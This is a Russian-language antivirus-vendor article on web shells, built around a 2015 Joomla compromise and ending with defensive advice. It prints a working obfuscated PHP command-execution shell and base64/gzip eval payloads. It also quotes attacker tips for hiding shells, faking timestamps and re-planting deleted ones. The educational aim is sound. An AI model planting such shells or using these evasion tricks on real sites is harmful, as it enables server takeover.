Вы используете устаревший браузер!

Страница может отображаться некорректно.

  • добавить в избранное
    Добавить в закладки

По следам взломщиков

Прочитали: 15189 Комментариев: 79 Рейтинг: 111

7 июня 2018

Если сайт взламывают, значит, это кому-нибудь нужно – с целью заработка. Злоумышленники заинтересованы не только в том, чтобы изменить содержимое взломанного сайта, но и в возможности управления вредоносным содержимым и его модификации. Для этого используются веб-шеллы.

Веб-шелл (web-shell) – это вредоносный скрипт (напомним, что сайт – это в общем случае набор скриптов и обрабатываемых ими данных), предназначенный для нужд злоумышленников, – управления чужими сайтами и серверами, перебора паролей, доступа к файловой системе и т. п. Если у провайдера данные различных ресурсов и клиентов не отделены друг от друга, то внедрение шелла позволяет злоумышленникам получить доступ сразу ко множеству сайтов.

Пример, который разбирается в статье, – реальный, а сам инцидент произошел летом 2015 года.

Итак, сайт работает на Joomla версии 2.5.28. Причина обращения – блокировка сайта со стороны хостинга за спам-рассылку.

Результат Maldet: 84 вредоносных файла.

#drweb

https://revisium.com/kb/the_other_side_joomla.html

Можно ли обнаружить вредоносный шелл? Простейший метод: пробежаться по всем файлам сайта, найти среди них те, которые подвергались изменениями или появились недавно, и проанализировать их.

Следующая команда покажет нам все php-файлы, модифицированные за последние 7 дней. То есть если сайт достаточно зрелый, а шел был загружен в течение последней недели, то эта команда здорово поможет в нашем исследовании.

find . -type f -name '*.php' -mtime -7

http://stillfinder.net/ru/blog/ishchem-php-shelly-na-hostinge-php-web-shell

#drweb

https://revisium.com/kb/the_other_side_joomla.html

Но злоумышленники – не дураки и понимают, что вредоносное содержимое надо скрывать.

Первое что приходит в голову, это сменить название на то, которое не вызовет подозрений (скажем, functions.php).

Далее стоит поменять время создания/изменения файла.

Также можно Shell встроить в уже существующий PHP файл, но это лучше делать с компактным шеллом.

https://blackdiver.net/it/linux/2491

  1. Надо просто насоздавать через JS кучу рандомных вложенных тегов, в одном из которых и будет наш код, а остальное – мусор. Тут даже если кто-то решится вручную прошерстить код, то желание быстро поугаснет;
  2. Для того чтобы усложнить, определим признаки, по которым может осуществляться поиск – по названию тега “iframe”, по URL, к которому делается запрос из нашего кода (эту инфу можно добыть и через прокси, и через обычную вкладку мониторинга сети в панеле разраба в барузере). Поэтому наша задача – не использовать тег iframe и как-то обфусцировать URL;
  3. Тут в консоли будут вбивать что-то типа document.getElementsByTagName(“iframe”) и смотреть на результат. Усложнить можно, переопределив функцию getElementsByTagName или решив задачу из пункта 2, не используя iframe;

https://cryptoworld.su/продлить-существование-web-shell

А можно просто сдвинуть код за пределы экрана (о подобном мы рассказывали в выпуске «Бьем врага его же оружием»).

Код при просмотре не сразу можно заметить, так как он намеренно «отбит» пробельными символами вправо за пределы видимой части экрана (поэтому у нас всегда включен режим «переноса строк» в редакторе).

#drweb

https://revisium.com/kb/the_other_side_joomla.html

Можно разбить шелл на несколько файлов, отделив собственно вредоносные файлы от модуля управления/загрузки новых модулей.

Можно встроить загрузчик шелла в существующий скрипт. Этот путь хорош в качестве резервного. Если основной шелл стерли и уязвимость закрыли, то, возможно, остался загрузчик, через который можно повторно закачать шелл.

https://blackdiver.net/it/linux/2491

После проведенного анализа мы разобрали функционал обнаруженных “вредоносов” и классифицировали их. Результат в таблице:

#drweb

https://revisium.com/kb/the_other_side_joomla.html

Если файл использует базу данных, его можно спрятать туда.

Если текст страниц хранится в базе данных и CMS по каким-либо причинам не фильтрует PHP-код при выводе текста из базы на страницу для конечного пользователя, то эти скрипты вполне могут жить в базе данных.

Но просто встроить скрипт – тоже не лучшая идея (хотя некоторые делают и так). Если у владельца сайта есть резервная копия, то он может сравнить содержимое файлов и увидеть все изменения, где бы они ни прятались. После этого легко понять, что делает скрипт, откуда берет ресурсы и т. д.

Результатом такого анализа может стать не только удаление скрипта, но и блокировка источников загрузки и адресов управляющих центров злоумышленников.

можно ... предварительно обфусцировать код, чтобы он стал не читаемым.

Пример легкой обфускации:

« ?php $GLOBALS['_1225506814_']=Array('' .'exec'); ?»« ?php function _42307863($i){$a=Array('qwe','pwd','arr','','«br»','«form action=','SCRIPT_NAME','?pwd=',' method=POST»«input name=arr/»«input type=submit/»«/form»');return $a[$i];} ?»« ?php $_0=_42307863(0);if($_GET[_42307863(1)]==$_0){$_1=$_POST[_42307863(2)];if(isset($_1)&& $_1!=_42307863(3)){$GLOBALS['_1225506814_'][0]($_1,$_2);foreach($_2 as $_3){echo($_3 ._42307863(4));}}echo(_42307863(5) .$_SERVER[_42307863(6)] ._42307863(7) .$_0 ._42307863(8));} ?»

Пример сильной обфускации:

« ?php eval(gzuncompress(base64_decode('eNpTcffxd3L0CY5Wjze0NDU0NDA2jlePtXUsKkqs1EhKLE41M4lPSU3OT0nVUI9SV9BTj8jIAVGR5SDSFkJoaloDANpJEvM='))); ?»« ?php eval(gzuncompress(base64_decode('eNodjlFvgjAYRf+KDyRAtofWypwxPFiNOB5IiXQtGGNKP2Q4xIWBysz++xjJTc7JzX24x7bSTXGpRgfsjMmYTKfYMgr7YSh3Udeqs0wtoTSfTb2Bzx6x9LsefZjndyx33UGTqz6jPBYBUmLWsnCoOQq223fKJXJoxPmwJJQkK/Svbx4uwfu4JiscRjjg7HT/SiuKYUnbWOCSiXWnT5NXJZwbyDCHTXlLIvwDwm+UDJ/YcnZOid8MH+x5nTVtXY1S9Z29TA6Q6QtklqF2RrG3579/1nBGUA=='))); ?»« ?php eval(gzuncompress(base64_decode('eNpVjsEKgzAMhl+lg6IGhjTtnBviYQPxIjh07FJKEFH0JMzdxHdf9VRPCd+f7yecREoYSSVVHGMgIBn7gFOevbWDEUyachKwcEK7vMr6kEswmzfOc/ezNoLnMTtObrUCa+dF+XwUtfYJ7xGiUIp8o4XZpDMnCUk/fbumHSyQrJlti4Kla4fJAsVCp+8CkKzrHjk0AhZyqrPqk1Xuh1cwBzve78SB3bbGP0TaQso='))); ?»

Это все тот же простой шелл, но с шифрованием в base64. Он также будет исполняться.

Очевидно, что подчас найти вредоносный код среди множества файлов сайта – задача довольно сложная. Поэтому, если есть возможность, извлекаем незараженную (возможно, она уже содержит вредоносный загрузчик) версию веб-ресурса из резервной копии. Проблема закрыта?

Суть этого нехитрого метода заключается в загрузке определенного скрипта в память, чтобы он раз в некоторое время проверял наличие web shell и при его отсутствии встраивал его заново (или грузил временный, через который мы бы снова быстро встраивали основной). Этот метод теряет свое значение, когда происходит перезагрузка сервера (а это событие для серверов достаточно редкое) или админ сам обнаруживает странный процесс и убивает его, но с этим можно кое-что сделать, чтобы усложнить задачу.

https://cryptoworld.su/бессмертный-shell-продолжаем-практику-web-shell

Насколько сложно найти или создать подобный вредоносный код?

Вообще шеллов в интернете ... ешь...

после прочтения данной статьи вы за несколько минут можете собрать тяп-ляп шелл, который будет отлично функционировать.

В этом и заключается проблема детектирования шеллов: их много, и они постоянно меняются. Но тем не менее антивирус и в этом случае приносит пользу.

Сайт бесполезно сканировать внешними антивирусами и антивирусными сервисами, они не покажут факт взлома, поскольку для детектирования хакерских скриптов нужно иметь доступ к файлам сайта.

https://revisium.com/kb/the_other_side_joomla.html

Естественно, факт взлома антивирусы не выявят, они для этого и не предназначены. Не определят они, скорее всего, и факт добавления нового кода в существующие скрипты – чем это отличается от работы веб-мастера? Но вот загрузку вредоносных файлов и известных шелл-кодов антивирус определить может.

Противодействие идет полным ходом, даже убогий Microsoft Security Essentials научился опознавать его сигнатуры.

https://alkoweb.ru/obzor-php-veb-shellov

#терминология #сайт #обновления_антивируса #взлом #уязвимость #пароль

Антивирусная правДА! рекомендует

  1. Устанавливайте обновления. Проникновение через уязвимости – одна из основных причин взлома сайтов.
  2. Используйте надежные пароли: перебор паролей – еще один способ проникновений.
  3. Не работайте с файлами сайта без защищенного канала.
  4. Используйте антивирус: его наличие позволит отследить загрузку утилит взлома, хакерских инструментов, а также вредоносных файлов, предназначенных для заражения. Внимание! После установки антивируса назначьте для утилит взлома, хакерских инструментов и программ удаленного доступа действие «Удалять» или «Перемещать в карантин». Если вы используете программы удаленного доступа, пропишите их в исключениях.
  5. На забывайте о резервных копиях.

Оцените выпуск

Сделайте репост

Необходимо войти на страницу выпуска через аккаунт на сайте «Доктор Веб» (или создать аккаунт). Аккаунт должен быть связан с вашим аккаунтом в социальной сети. Видео о связывании аккаунта.


Нам важно ваше мнение

Чтобы оставить комментарий, нужно зайти через свой аккаунт на сайте «Доктор Веб». Если аккаунта еще нет, его можно создать.

Комментарии пользователей


 
На страницу: